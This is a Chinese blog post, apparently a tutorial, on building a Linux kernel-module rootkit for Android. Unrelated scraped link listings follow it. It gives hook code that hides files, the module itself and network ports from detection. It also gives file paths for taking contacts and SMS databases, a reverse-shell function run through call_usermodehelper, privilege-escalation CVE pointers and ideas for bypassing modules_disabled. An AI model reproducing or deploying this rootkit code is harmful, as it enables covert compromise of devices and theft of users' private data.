小谈android/Linux rootkit(基于LKM)
最近又学习了一下,感觉还有好多东西不知道,以后积累多一点再从新写一个。
在android上捣鼓了一下linux的内核rootkit,虽然中途遇到了无数坑,至今也没有完全写完,打算先好好啃一段时间linux内核,和理解一下android的linux内核的安全机制再继续写。但还是收获不小,想分享一下学习的一点小心得。
一个完整的内核rootkit大致可分为3个部分,分别为一:自身隐藏,二:信息收集,三:系统攻击。本文也打算从这三方面入手,其中自身隐藏和pc端大体一致。鉴于pc比android运行方便,就直接在pc上进行测试了,对于系统攻击来说,脑洞越大,攻击方式就越多,思路就越广。当然,由于作者的水平有限,中有错误,敬请指教。
一:自身隐藏
从信息隐藏开始,一个优秀的内核rootkit应该潜伏在系统的角落就像古代的刺客一般,无声无息,。至少需要做到以下几点:
一:文件隐藏
二:内核模块隐藏
三:端口隐藏
四:进程隐藏
简单粗暴的隐藏方法是直接hook系统调用表(sys_call_table),一方面,由于不少anti-rootkit会检测sys_call_table,另一方面,用这个方法就少了很多理解linux的机会。所以,打算换一种方式来进行hook,hook 函数api。
在笔者眼中,hook 函数基本就是先缕清实现功能的函数的具体工作流程,找到hook点,这个hook点基本是一个数据结构里的指针,然后想办法得到这个数据结构的实例,将
这个指针替换成的自己编写的函数的地址。
1.实现文件隐藏。新版本和老版本在实现ls时有一定的区别。老版本(以2.6.11为例)调用的是file_operation->readdir(),而新版本(以4.4.20为例)file_operation->iterator(),分别对两者的hook实现进行分析,更能加深对hook的理解。先看老版本,直接看源代码,file_operations的数据结构位于/include/linux/fs.h
在/fs/($fs文件系统格式)/dir.c中,file_operation->readdir进行赋值,大致的调用流程为sys_getdents->ext4_readdir(readdir所赋值得函数)--ext4_dx_readdir在其中用filldir_t输出缓冲。所以,可以直接hook readdir,在hook_readdir里面替换了filldir函数。
int hook_readdir(struct file filp,void * buffer,filldir_t filldir) {
real_filldir = filldir;
return real_readdir( filp, buffer,fake_filldir);
} int fake_filldir(void * __buf, const char * name, int namlen, loff_t offset,u64 ino, unsigned int d_type)
{
if (strcmp(name, SECRET_FILE) == ) {
printk("Hiding: %s", name);
return ;
}
return real_filldir(__buf, name, namlen, offset, ino, d_type);
}
然后需要找到file_operation的实例,并进行hook简化代码如下:
filp = filp_open(path, O_RDONLY, );
f_op = (struct file_operations *)filp->f_op;
old = f_op->op;
disable_write_protection();
f_op->op = new; enable_write_protection();
于是乎,便完成了基本的文件隐藏。
在看一下新版本的文件隐藏,直接看源代码:
在新版中,是调用了iterator函数,遗憾的是,不能直接看到filldir函数,直接分析函数流程sys_getdents->ext4_readdir(readdir所赋值得函数)->ext4_dx_readdir,由于参数改变,内部实现有变化,经过很多阶段,会发现,dir_context->actor就是我们需要的filldir函数,所以,进行hook,简化代码如下:
int
hook_iterate(struct file *filp, struct dir_context *ctx)
{ real_filldir = ctx->actor;
*(filldir_t *)&ctx->actor = hook_filldir;
return real_iterate(filp, ctx);
} int
hook_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == ) {
fm_alert("Hiding: %s", name);
return ;
}
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
两者的函数实现虽然略有不同,但是hook的机理却相似。
2:实现内核模块隐藏
传统的内核模块隐藏大致可以分为两部分其一:针对lsmod命令进行隐藏,基本逻辑是insmod在进行加载的时候会将自己的信息struct module结构体相关联,而所有的内核模块都被维护在一个全局链表中,lsmod通过对这个链表进行遍历来输出所有的模块信息,所以直接将模块进行删除就可以了,linux内核自带这个函数,函数为list_del_init,定义于include/linux/list.h中,我们可以看下它的实现:
static inline void list_del_init (struct list_head * entry)
{
__list_del (entry->prev, entry->next);
INIT_LIST_HEAD (entry);
} static inline void __list_del (struct list_head * prev, struct list_head * next)
{
next-> prev = prev;
prev-> next = next;
} static inline void INIT_LIST_HEAD (struct list_head * list)
{
list-> next = list;
list-> prev = list;
}
其二,为针对/sys/module/的隐藏
sys目录下挂在的是sysfs文件系统,sysyfs是一个处于内存的虚拟文件系统,为我们提供kobject对象层次结构,是我们以一个简单文件系统的方式观察各种设备的拓扑结构,其中modules里就包含所有的模块信息,而在sysfs系统中,它和kobject紧密相关,可用kobject_add和kobject_del函数进行增加和删除,具体代码代码如下:
void kobject_del(struct kobject *kobj)
{
struct kernfs_node *sd; if (!kobj)
return; sd = kobj->sd;
sysfs_remove_dir(kobj);
sysfs_put(sd); kobj->state_in_sysfs = ;
kobj_kset_leave(kobj);
kobject_put(kobj->parent);
kobj->parent = NULL;
} int kobject_add(struct kobject *kobj, struct kobject *parent,
const char *fmt, ...)
{
va_list args;
int retval; if (!kobj)
return -EINVAL; if (!kobj->state_initialized) {
printk(KERN_ERR "kobject '%s' (%p): tried to add an "
"uninitialized object, something is seriously wrong.\n",
kobject_name(kobj), kobj);
dump_stack();
return -EINVAL;
}
va_start(args, fmt);
retval = kobject_add_varg(kobj, parent, fmt, args);
va_end(args); return retval;
}
以上便是比较比较流行有效的方法,当然,也有它的缺陷,比如无法卸载:
测试代码如下:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h> static int hook_init(void)
{
list_del_init(&__this_module.list);
kobject_del(&THIS_MODULE->mkobj.kobj); printk("module loaded\n");
return ;
} static void hook_exit(void)
{
printk("module removed\n");
} module_init(hook_init);
module_exit(hook_exit);
所以,可以用hook函数的方法来进行隐藏,浏览内核源码,我们可以发现, /proc/modules
的实现位于kernel/module.c
, 并且主要的实现函数是m_show 。搜索m_show
,可以发现函数是被赋值给seq_operations->show(),
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
直接搜索调用,发现只有module_open()调用了该数据结构,进入该函数观察:
int seq_open(struct file *file, const struct seq_operations *op)
{
struct seq_file *p;
WARN_ON(file->private_data);
p = kzalloc(sizeof(*p), GFP_KERNEL);
if (!p)
return -ENOMEM;
file->private_data = p;
mutex_init(&p->lock);
p->op = op;
#ifdef CONFIG_USER_NS
p->user_ns = file->f_cred->user_ns;
#endif
file->f_version = ;
file->f_mode &= ~FMODE_PWRITE;
return ;
}
意思大致是file->private_data->op = op,而op包含了show函数,得到file->private_data->op的实例,对其进行hook,简化代码如下
filp = filp_open(path, O_RDONLY, );
seq = (struct seq_file *)filp->private_data;
seq_op = (struct seq_operations *)seq->op;
old = seq_op->show;
disable_write_protection();
seq_op->show = new;
enable_write_protection();
三:隐藏端口
端口隐藏和模块类似,粗略写一下,lxr里直接找show函数,以tcp为例,发现在net/ipv4/tcp_ipv4中,数据结构tcp4_seq_afinfo中show被tcp_seq_show赋值,查找tcp4_seq_afinfo,然后经过几轮跟踪,最后在proc_create_data中被赋值给proc_dir_entry->data,利用宏afinfo=PED_DATA(filp->f_path.dentry->i_inode);
hook简化代码如下:
filp = filp_open(path, O_RDONLY, );
afinfo = PDE_DATA(filp->f_path.dentry->d_inode);
old = afinfo->seq_ops.op;
afinfo->seq_ops.op = new;
filp_close(filp, );
基本功能实现代码为:
int
fake_seq_show(struct seq_file *seq, void *v)
{
int ret;
char needle[NEEDLE_LEN];
snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
ret = real_seq_show(seq, v); if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
fm_alert("Hiding port %d using needle %s.\n",
SECRET_PORT, needle);
seq->count -= TMPSZ;
} return ret;
}
四:进程隐藏
根据linux一切即文件,直接hook /proc目录即可,略。
二:信息收集
android手机的数据都在/data/data里面,其中通讯录位置在/data/data/com.providers.contacts/databases/contacts2.db,短信信息是在./data/data/com.android.providers.telephony/databases/mmssms.db,至于想怎么玩,看你们自己的喽。
三:系统攻击
只是提供一些思路和一些尝试。
首先,当然要先建立一个reverseshell,这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码:
void reverseshell ()
{
static char *path = "/data/local/shell";
char *argv[] = { "/data/local/shell", "127.0.0.1", "80", NULL }; //Change me
static char *envp[] =
{ "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
call_usermodehelper (path, argv, envp, 1);
}
当然,如果手机没有root,自然没办法insmod,可以想办法先把手机root掉。这个方面可以利用一些的linux提权的exp。从网上找,或者直接逆向市场上的一键root软件,直接提取exp,又或者自己挖0day(偷笑),写exp,下面提供几个最近的cve提权漏洞的编号,下一篇文章可能会谈论这方面的东西。有兴趣也可以自己看分析文章CVE-2015-1805(数组越位漏洞,exp没怎么看懂),CVE-2015-3636(UAF漏洞,去年挺有名的一个漏洞,也很好用),CVE-2015-3636(UAF导致的整数溢出,说真的,实用价值不高,有人测试,i7电脑都要跑半个小时,手机。。。不说了)。
然后看一下怎么绕过modules_disaled:先看一下在/kernel/modules.c关于这一机制的源码:
SYSCALL_DEFINE3(init_module, void __user *, umod,
unsigned long, len, const char __user *, uargs)
{
int err;
struct load_info info = { }; err = may_init_module();
if (err)
return err; pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
umod, len, uargs); err = copy_module_from_user(umod, len, &info);
if (err)
return err; return load_module(&info, uargs, );
}
可以看到,初始化模块的系统调用(和其他系统调用像delete_module / finit_module /)将在允许模块进行之前先进行modules_disaled判定。那么,我们如何绕过这个问题呢?首先,先看看其他不依赖这些系统调用的模块加载,但是这些只用于启动或者做一些用户数据无法抵达的函数调用。所以,最好的思路就是想办法改掉modules_disbled的值。
Mathew Garrett在2013年在linux邮件列表上发了一遍文章,他提出了12种不同的方法:
1:利用kexec函数:kexec是linux内核的一个特性,允许在运行时替换内核。
不得不说kexec是一个很神奇的函数,它是linux内核的特性,允许在运行时替换内核。
原理如下:kexec系统调用接口取得段列表(指向用户缓存和预期目标)和入口指针,内核重定位这些段并跳到入口指针所指的地址,由于这个地址上两 个内核代码之间,所以被称为purgatory。purgatory主要作用是设置第二个内核代码的环境,并调转到第二个内核之中,而第一个内核根本不知 道第二个内核发生了什么,而你就能在第二个内核里加载任何东西了。详情参考http://mjg59.dreamwidth.org/28746.html 。
2:利用cve-2013-0368:
cve是这样描述的"Linux kernel 3.7.6之前版本中的arch/x86/kernel/msr.c中的msr_open函数中存在漏洞。以root权限执行特制的应用程序如msr32.c,本地攻击者利用该漏洞绕过预期的功能限制。"
现在可以看一下攻击了,说到攻击,肯定要建立一个reverseshell,这个可以直接参考2010的defcon-18大会的rootkit。直接贴代码:
void reverseshell ()
{
static char *path = "/data/local/shell";
char *argv[] = { "/data/local/shell", "127.0.0.1", "", NULL }; //Change me
static char *envp[] =
{ "HOME=/", "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
call_usermodehelper (path, argv, envp, );
}
其它的技术有限,日后再说吧!
小谈android/Linux rootkit(基于LKM)的更多相关文章
- 浅谈 unix, linux, ios, android 区别和联系
浅谈 unix, linux, ios, android 区别和联系 网上的答案并不是很好,便从网上整理的相对专业的问答,本人很菜,大佬勿喷 UNIX 和 Linux UNIX 操作系统(尤尼斯) ...
- Linux Rootkit Sample && Rootkit Defenser Analysis
目录 . 引言 . LRK5 Rootkit . knark Rootkit . Suckit(super user control kit) . adore-ng . WNPS . Sample R ...
- "浅谈Android"第一篇:Android系统简介
近来,看了一本书,名字叫做<第一行代码>,是CSDN一名博主写的,一本Android入门级的书,比较适合新手.看了书之后,有感而发,想来进行Android开发已经有一年多了,但欠缺系统化的 ...
- Android/Linux Thermal框架分析及其Governor对比
图表 1 Thermal框架 随着SoC性能的快速提升,功耗也极大提高,带来的负面影响是SoC的温度提高很快,甚至有可能造成物理损坏.同时功耗浪费也降低了电池寿命. 从上图可知,Thermal框架可以 ...
- DevStore开发人员服务有奖征文:小谈新浪微博开放平台
DevStore开发人员服务有奖征文:小谈新浪微博开放平台 笔者接入新浪微博开发平台也有一段时间了,对整个平台的接入也算比較熟悉,新浪提供了统一的API接口,能够让开发人员更方便的使用API来实现自己 ...
- 浅谈android中的目录结构
之前在android游戏开发中就遇到本地数据存储的问题:一般情形之下就将动态数据写入SD中存储,在没有SD卡的手机上就需另作处理了;再有在开发android应用的过程中,总要去调试APP,安装时又想去 ...
- Android(Linux)实时监控串口数据
之前在做WinCE车载方案时,曾做过一个小工具TraceMonitor,用于显示WinCE系统上应用程序的调试信息,特别是在实车调试时,用于监控和显示CAN盒与主机之间的串口数据.因为需要抢占市场先机 ...
- 浅谈Android应用性能之内存
本文来自http://blog.csdn.net/liuxian13183/ ,引用必须注明出处! 文/ jaunty [博主导读]在Android开发中,不免会遇到许多OOM现象,一方面可能是由于开 ...
- Android/Linux boot time优化
基于analyze_boot.py分析Android/Linux的kernel boot时间 1.修改HiKey的BoardConfig.mk文件,使能initcall_debug,增加dmesg b ...
随机推荐
- 孤荷凌寒自学python第三十三天python的文件操作初识
孤荷凌寒自学python第三十三天python的文件操作初识 (完整学习过程屏幕记录视频地址在文末,手写笔记在文末) 今天开始自学python的普通 文件操作部分的内容. 一.python的文件打开 ...
- TensorFlow——深度学习笔记
深度学习与传统机器学习的区别 传统机器学习输入的特征为人工提取的特征,例如人的身高.体重等,深度学习则不然,它接收的是基础特征,例如图片像素等,通过多层复杂特征提取获得. 深度学习.人工智能.机器学习 ...
- 锚点自适应 map area coords
最近做MOBILE的HTML5开发,人体图和页面一样,需要自适应不同的手机屏幕,蛋疼的是coords里面的标记是固定的,图片自适应后,锚点的标记就会产生空白区域,看了下https://github.c ...
- DOM关于高度宽度位置的获取
假设 obj 为某个 HTML 控件. obj.offsetTop 指 obj 相对于版面或由 offsetParent 属性指定的父坐标的计算上侧位置,整型,单位像素. obj.offsetLeft ...
- 【bzoj2044】三维导弹拦截 dp+二分图最大匹配
题目描述 n个物品,第i个位置有ai.bi.ci三种属性.每次可以选出满足$\ a_{p_i}<a_{p_{i+1}}\ ,\ b_{p_i}<b_{p_{i+1}}\ ,\ c_{p_i ...
- MPLAB设置路径
大家都知道在MPLAB环境下编译程序,c文件.h文件.编译器生成的文件等等,都会被编译器无情的放在一个项目文件夹下. 稍微有些讲究的程序员可能就会觉得用MPLAB项目组织的一团糟.于是大家想到了一种方 ...
- 【BestCoder #48】
与之前一样,秒刷A和B,然后就永远卡在了C B也因为少看一句话被Hunt掉了 说说C的做法吧(分块大法好 给定一个序列,每次询问区间l-r,求∑(ai^bi),其中bi是指ai在区间中的出现次数,ai ...
- 情报传递(message)
情报传递(message) 题目描述 奈特公司是一个巨大的情报公司,它有着庞大的情报网络,情报网络中共有n名情报员.每名情报员可能有若干名(可能没有)下线,除1名大头目外其余n-1名情报员有且仅有1名 ...
- java中截取字符串的方式
1.length() 字符串的长度 例:char chars[]={'a','b'.'c'}; String s=new String(chars); int len=s.length(); 2.ch ...
- 百度之星初赛(A)——T6
度度熊的01世界 Problem Description 度度熊是一个喜欢计算机的孩子,在计算机的世界中,所有事物实际上都只由0和1组成. 现在给你一个n*m的图像,你需要分辨他究竟是0,还是1,或者 ...